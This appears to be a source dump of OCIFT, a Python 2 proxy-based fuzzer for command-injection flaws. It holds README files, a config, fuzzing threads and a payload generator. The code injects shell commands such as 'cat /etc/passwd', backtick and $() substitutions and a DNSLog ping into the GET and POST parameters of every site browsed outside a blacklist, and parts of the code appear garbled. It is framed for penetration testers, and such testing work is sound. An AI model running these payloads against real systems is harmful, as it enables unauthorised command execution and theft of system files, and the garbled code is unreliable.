├── README.md ├── dnslog.py ├── fuzz.conf ├── fuzz.py ├── make_payload.py ├── readme.md └── run.py /README.md: -------------------------------------------------------------------------------- 1 | # OCIFT 2 | 一个半自动化命令注入漏洞Fuzz工具(One Semi-automation command injection vulnerability Fuzz tool) 3 | 4 | ## 1. OCIFT是什么 5 | 6 | 一个半自动化命令注入漏洞Fuzz工具(One Semi-automation command injection vulnerability Fuzz tool)简写为:OCIFT 7 | 8 | ## 2. OCIFT有什么用 9 | 10 | 这是一种半自动化的黑盒测试工具,它可以帮助渗透测试人员或代码审计人员在愉快的上网的同时,深度挖掘目标应用系统存在的命令注入漏洞。 11 | 12 | ## 3. OCIFT有什么特点 13 | 14 | * Payload基于Commix生成方式修改而来(需要持续完善). 15 | * 基于浏览器代理的半自动化Fuzz. 16 | * 多线程Fuzz速度快,不影响正常浏览器访问使用. 17 | * 支持设置白名单限制Fuzz范围. 18 | * 支持设置黑名单避免带来不必要的麻烦. 19 | * 支持DNSLog辅助验证 20 | 21 | ## 4. OCIFT实现思路 22 | 23 | 基于Tornado的实现一个代理服务器,解析GET/POST请求提取Fuzz点,带入payload进行Fuzz测试。 24 | 25 | * 文件结构说明 26 | 27 | ` 28 | * 29 | |____run.py 主程序入口 30 | |____dnslog.py DNSLog SDK 31 | |____fuzz.conf 配置文件 32 | |____fuzz.py Fuzz线程 33 | |____make_payload.py Payload生成器 34 | |____readme.md 说明文档` 35 | 36 | ## 5. 配置文件说明 37 | 38 | * 配置各个参数,以逗号分隔 39 | 40 | `[initconfig]` 41 | 42 | * 黑名单HOST-为了避免带来不必要的麻烦 43 | 44 | `black_hosts =.gov,localhost,127.0.0.1,google,gstatic,cnzz.com,doubleclick,police,mil.cn,gov.cn,gov.com` 45 | 46 | * 静态文件黑名单-这些不做Fuzz 47 | 48 | `url_ext_black =.ico,.flv,.css,.jpg,.png,.jpeg,.gif,.pdf,.ss3,.txt,.rar,.zip,.avi,.mp4,.swf,.wmi,.exe,.mpeg` 49 | 50 | * 白名单HOST-为了限制Fuzz的范围, 默认为空-表示对除黑名单范围外的所有地址进行Fuzz. 51 | 52 | `white_site =qunar` 53 | 54 | * 请求超时-限制每次Fuzz请求超时时间 55 | 56 | `timeout =10` 57 | 58 | * 我的DnsLog地址 59 | 60 | `my_cloudeye =ano1qu2j.xfkxfk.com` 61 | 62 | * 判断是够注入命令执行成功的关键字 63 | 64 | `checkkeys =110586256,/bin/bash,nameserver,IPv4,Windows IP` 65 | 66 | * 用于测试命令注入的基本命令 67 | 68 | `base_command =cat /etc/resolv.conf,echo 110586256,cat /etc/passwd,ipconfig,ping CommandInj.{my_cloudeye},echo 110586256[^_]\w*)=)(?P[^&#]+)", base_url): 91 | in_black_param = self.check_in_keys(match.group("parameter"), self.black_parameters) 92 | if in_black_param: 93 | continue 94 | 95 | print "[GET] Fuzzing "+match.group("parameter") 96 | for payload_item in fuzzing_payloads: 97 | if self.my_cloudeye in payload_item: 98 | payload_item = payload_item.replace(self.my_cloudeye, TAG+"."+self.my_cloudeye) 99 | payload_item = match.group("value")+payload_item 100 | # ip=1.1.1.1;whoami 101 | fuzzing_uri_append = base_url.replace('%s=%s' % (match.group("parameter"), match.group("value")),'%s=%s' % (match.group("parameter"), match.group("value")+payload_item)) 102 | request['uri'] = fuzzing_uri_append 103 | isVuln_a = self.HttpHelper(request, TAG) 104 | 105 | # ip=;whoami 106 | fuzzing_uri_replace = base_url.replace('%s=%s' % (match.group("parameter"), match.group("value")), '%s=%s' % (match.group("parameter"), payload_item)) 107 | request['uri'] = fuzzing_uri_replace 108 | isVuln_r = self.HttpHelper(request, TAG) 109 | 110 | # 任意一个测试成功都结束Fuzz 111 | if isVuln_a or isVuln_r: 112 | self.FileHelper("GET", base_url, match.group("parameter"), payload_item, TAG) 113 | print "[+] Fuzzing Done!!" 114 | return 115 | print "[+] Fuzzing Done!!" 116 | return 117 | 118 | # Fuzzing_POST请求 119 | def Fuzzing_POST(self, request): 120 | fuzzing_payloads = self.fuzzing_payloads_list 121 | base_url = request['uri'] 122 | TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 123 | 124 | post_body = request['body'] 125 | for match in re.finditer(r"((\A|[?&])(?P[^_]\w*)=)(?P[^&#]+)", post_body): 126 | in_black_param = self.check_in_keys(match.group("parameter"), self.black_parameters) 127 | if in_black_param: 128 | continue 129 | 130 | try: 131 | print "[POST] Fuzzing "+match.group("parameter") 132 | for payload_item in fuzzing_payloads: 133 | if self.my_cloudeye in payload_item: 134 | payload_item = payload_item.replace(self.my_cloudeye, TAG+"."+self.my_cloudeye) 135 | payload_item = match.group("value")+payload_item 136 | fuzzing_post_body = post_body.replace('%s=%s' % (match.group("parameter"), match.group("value")),'%s=%s' % (match.group("parameter"), payload_item)) 137 | request['body'] = fuzzing_post_body 138 | isOver = self.HttpHelper(request, TAG) 139 | if isOver: 140 | self.FileHelper("POST", base_url, match.group("parameter"), payload_item, TAG) 141 | print "[success] Fuzzing Done!!" 142 | return 143 | print "[failed] Fuzzing Done!!" 144 | except : 145 | pass 146 | return 147 | 148 | # header暂时不支持Fuzzing 149 | def Fuzzing_HEADER(self, request): 150 | print "Fuzzing HEADER" 151 | # headers_map = request['headers'].get_all() 152 | # for (k,v) in headers_map: 153 | # print "%s - %s" % (k,v) 154 | 155 | # 记录到文件 156 | def FileHelper(self, HTTP_Method, Rce_URL, parameter, payload, TAG): 157 | wfile = open(self.Logfile, mode='a+') 158 | found_rce_text = '''\n\ 159 | +==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==+ 160 | +=+TAG: {TAG} 161 | +=+URL: {RCE_URL} 162 | +=+method: {HTTP_Method} 163 | +=+param: {parameter} 164 | +=+payload: {payload} 165 | +==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==+\n 166 | ''' 167 | found_rce_text = found_rce_text.replace("{TAG}", TAG).replace("{RCE_URL}", Rce_URL).replace("{HTTP_Method}", HTTP_Method).replace("{parameter}", parameter).replace("{payload}", payload) 168 | 169 | print found_rce_text 170 | 171 | wfile.write(found_rce_text) 172 | wfile.write("\r\n") 173 | wfile.flush() 174 | wfile.close() 175 | 176 | def check_in_keys(self, uri, keys_list): 177 | uri = uri.lower() 178 | 179 | if len(keys_list) == 0: 180 | return False 181 | else: 182 | for k in keys_list: 183 | if k.lower() in uri: 184 | return True 185 | return False 186 | 187 | def check_url_blackext(self, uri): 188 | not_staticFlag = True 189 | url_ext = urlparse(uri).path[-5:].lower() 190 | 191 | if ".js" in uri and ".jsp" not in url_ext: 192 | not_staticFlag = False 193 | else: 194 | for u in self.url_ext_blacklist: 195 | if u in url_ext: 196 | not_staticFlag = False 197 | 198 | return not_staticFlag 199 | 200 | 201 | def run(self): 202 | while True: 203 | try: 204 | request = self.queue.get() 205 | uri = request['uri'] 206 | hash_value = self.HASH_Calc(requests_dict=request) 207 | in_white_site = self.check_in_keys(uri, self.white_site) 208 | in_black_site = self.check_in_keys(uri, self.black_site) 209 | 210 | is_notstatic = self.check_url_blackext(uri) 211 | 212 | # 判断是否已经Fuzzing过了、URL是否在测试范围内、是否在黑名单里、是否是静态文件 213 | if hash_value not in self.fuzzing_finished_hash and in_white_site and not in_black_site and is_notstatic: 214 | self.fuzzing_finished_hash.append(hash_value) 215 | method = request['method'] 216 | if "POST" in method: 217 | self.Fuzzing_POST(request) 218 | elif "GET" in method: 219 | self.Fuzzing_GET(request) 220 | except: 221 | pass 222 | -------------------------------------------------------------------------------- /make_payload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Time : 17/3/30 上午10:34 4 | # @Author : Komi 5 | # @File : make_payload.py 6 | # @Ver: : 0.1 7 | 8 | 9 | class PayloadGenerate: 10 | def __init__(self, base_command_list): 11 | self.base_command = base_command_list 12 | self.fuzzing_payloads_list = [] 13 | self.fuzzing_finished_url = [] 14 | 15 | # The white-spaces 16 | self.WHITESPACE = ["$IFS", "%20"] 17 | 18 | # The command injection suffixes. 19 | self.SUFFIXES = ["'", "\""] 20 | 21 | # The command injection separators. 22 | self.SEPARATORS = [";", "|", "&", "||"] 23 | 24 | # The command injection prefixes. 25 | self.PREFIXES = ["'", "\""] 26 | 27 | def add_prefixes(self, payload, prefix): 28 | payload = prefix + payload 29 | 30 | return payload 31 | 32 | def add_suffixes(self, payload, suffix): 33 | payload = payload + suffix 34 | 35 | return payload 36 | 37 | def add_sp_before(self, payload, sp): 38 | if payload: 39 | return sp + payload 40 | else: 41 | return '' 42 | 43 | def add_single_quote(self, s): 44 | if s: 45 | return "'{}'".format(s) 46 | else: 47 | return '' 48 | 49 | def add_double_quotes(self, s): 50 | if s: 51 | return '"{}"'.format(s) 52 | else: 53 | return '' 54 | 55 | def replace_space(self, payload, whitespace): 56 | if payload: 57 | return payload.replace(' ', whitespace) 58 | else: 59 | return '' 60 | 61 | # `whoami` 62 | def add_backquote(self, payload): 63 | if payload: 64 | return "`{}`".format(payload) 65 | else: 66 | return '' 67 | 68 | # $(reboot) 69 | def add_brackets(self, payload): 70 | if payload: 71 | return "$({})".format(payload) 72 | else: 73 | return '' 74 | 75 | # 这是取的commix的payload生成方式 76 | def make_commix_payloads(self, TAG): 77 | 78 | for whitespace in self.WHITESPACE: 79 | for prefix in self.PREFIXES: 80 | for suffix in self.SUFFIXES: 81 | for sp in self.SEPARATORS: 82 | payloads = [] 83 | p1 = 'echo {}'.format(TAG) 84 | p2 = 'echo {}'.format(self.add_single_quote(TAG)) 85 | p3 = 'echo {}'.format(self.add_double_quotes(TAG)) 86 | payloads += [p1, p2, p3] 87 | 88 | payloads += [self.add_sp_before(p1, sp), self.add_sp_before(p2, sp), self.add_sp_before(p3, sp)] 89 | payloads += [self.replace_space(p1, whitespace), self.replace_space(p2, whitespace), self.replace_space(p3, whitespace)] 90 | payloads += [self.replace_space(self.add_sp_before(p1, sp), whitespace), self.replace_space(self.add_sp_before(p2, sp),whitespace), 91 | self.replace_space(self.add_sp_before(p3, sp),whitespace)] 92 | 93 | # Fix prefixes / suffixes 94 | for payload in payloads: 95 | payload = self.add_prefixes(payload, prefix) 96 | payload = self.add_suffixes(payload, suffix) 97 | 98 | self.fuzzing_payloads_list.append(payload) 99 | 100 | # 这我自定义的payload 101 | def fuzz_mypayloads(self): 102 | for whitespace in self.WHITESPACE: 103 | for prefix in self.PREFIXES: 104 | for suffix in self.SUFFIXES: 105 | for sp in self.SEPARATORS: 106 | for cmd in self.base_command: 107 | payloads = [] 108 | # index.php?id=cat /etc/passwd 109 | payloads += [cmd] 110 | # index.php?id=`cat /etc/passwd` 111 | payloads += [self.add_backquote(cmd)] 112 | # index.php?id=$(cat /etc/passwd) 113 | payloads += [self.add_brackets(cmd)] 114 | # index.php?id=;cat /etc/passwd 115 | payloads += [self.add_sp_before(cmd, sp)] 116 | # index.php?id=;`cat /etc/passwd` 117 | payloads += [self.add_sp_before(self.add_backquote(cmd), sp)] 118 | # index.php?id=;$(cat /etc/passwd) 119 | payloads += [self.add_sp_before(self.add_brackets(cmd), sp)] 120 | # index.php?id=cat$IFS/etc/passwd 121 | payloads += [self.replace_space(cmd, whitespace)] 122 | # index.php?id=;cat$IFS/etc/passwd 123 | payloads += [self.replace_space(self.add_sp_before(cmd, sp), whitespace)] 124 | # index.php?id='cat /etc/passwd' 125 | for payload in payloads: 126 | payload = self.add_prefixes(payload, prefix) 127 | payload = self.add_suffixes(payload, suffix) 128 | 129 | self.fuzzing_payloads_list.append(payload) 130 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # OCIFT 2 | 一个半自动化命令注入漏洞Fuzz工具(One Semi-automation command injection vulnerability Fuzz tool) 3 | 4 | ## 1. OCIFT是什么 5 | 6 | 一个半自动化命令注入漏洞Fuzz工具(One Semi-automation command injection vulnerability Fuzz tool)简写为:OCIFT 7 | 8 | ## 2. OCIFT有什么用 9 | 10 | 这是一种半自动化的黑盒测试工具,它可以帮助渗透测试人员或代码审计人员在愉快的上网的同时,深度挖掘目标应用系统存在的命令注入漏洞。 11 | 12 | ## 3. OCIFT有什么特点 13 | 14 | * Payload基于Commix生成方式修改而来(需要持续完善). 15 | * 基于浏览器代理的半自动化Fuzz. 16 | * 多线程Fuzz速度快,不影响正常浏览器访问使用. 17 | * 支持设置白名单限制Fuzz范围. 18 | * 支持设置黑名单避免带来不必要的麻烦. 19 | * 支持DNSLog辅助验证 20 | 21 | ## 4. OCIFT实现思路 22 | 23 | 基于Tornado的实现一个代理服务器,解析GET/POST请求提取Fuzz点,带入payload进行Fuzz测试。 24 | 25 | * 文件结构说明 26 | 27 | `➜ cifuzz git:(master) ✗ tree 28 | . 29 | |____run.py 主程序入口 30 | |____dnslog.py DNSLog SDK 31 | |____fuzz.conf 配置文件 32 | |____fuzz.py Fuzz线程 33 | |____make_payload.py Payload生成器 34 | |____readme.md 说明文档` 35 | 36 | ## 5. 配置文件说明 37 | 38 | * 配置各个参数,以逗号分隔 39 | 40 | `[initconfig]` 41 | 42 | * 黑名单HOST-为了避免带来不必要的麻烦 43 | 44 | `black_hosts =.gov,localhost,127.0.0.1,google,gstatic,cnzz.com,doubleclick,police,mil.cn,gov.cn,gov.com` 45 | 46 | * 静态文件黑名单-这些不做Fuzz 47 | 48 | `url_ext_black =.ico,.flv,.css,.jpg,.png,.jpeg,.gif,.pdf,.ss3,.txt,.rar,.zip,.avi,.mp4,.swf,.wmi,.exe,.mpeg` 49 | 50 | * 白名单HOST-为了限制Fuzz的范围, 默认为空-表示对除黑名单范围外的所有地址进行Fuzz. 51 | 52 | `white_site =` 53 | 54 | * 参数名黑名单-如: submit 55 | `black_parameters =submit` 56 | 57 | * 请求超时-限制每次Fuzz请求超时时间 58 | 59 | `timeout =10` 60 | 61 | * 我的DnsLog地址 62 | 63 | `my_cloudeye =ano1qu2j.xfkxfk.com` 64 | 65 | * 判断是够注入命令执行成功的关键字 66 | 67 | `checkkeys =110586256,/bin/bash,nameserver,IPv4,Windows IP` 68 | 69 | * 用于测试命令注入的基本命令 70 | 71 | `base_command =cat /etc/resolv.conf,echo 110586256,cat /etc/passwd,ipconfig,ping CommandInj.{my_cloudeye},echo 110586256 1: 290 | port = int(sys.argv[1]) 291 | print "[*] Starting HTTP proxy at: http://127.0.0.1:%d" % port 292 | 293 | os.system('pkill -f "python run.py"') 294 | 295 | RunProxyThread(ProxyHandler, '127.0.0.1', int(port)).run() 296 | 297 | --------------------------------------------------------------------------------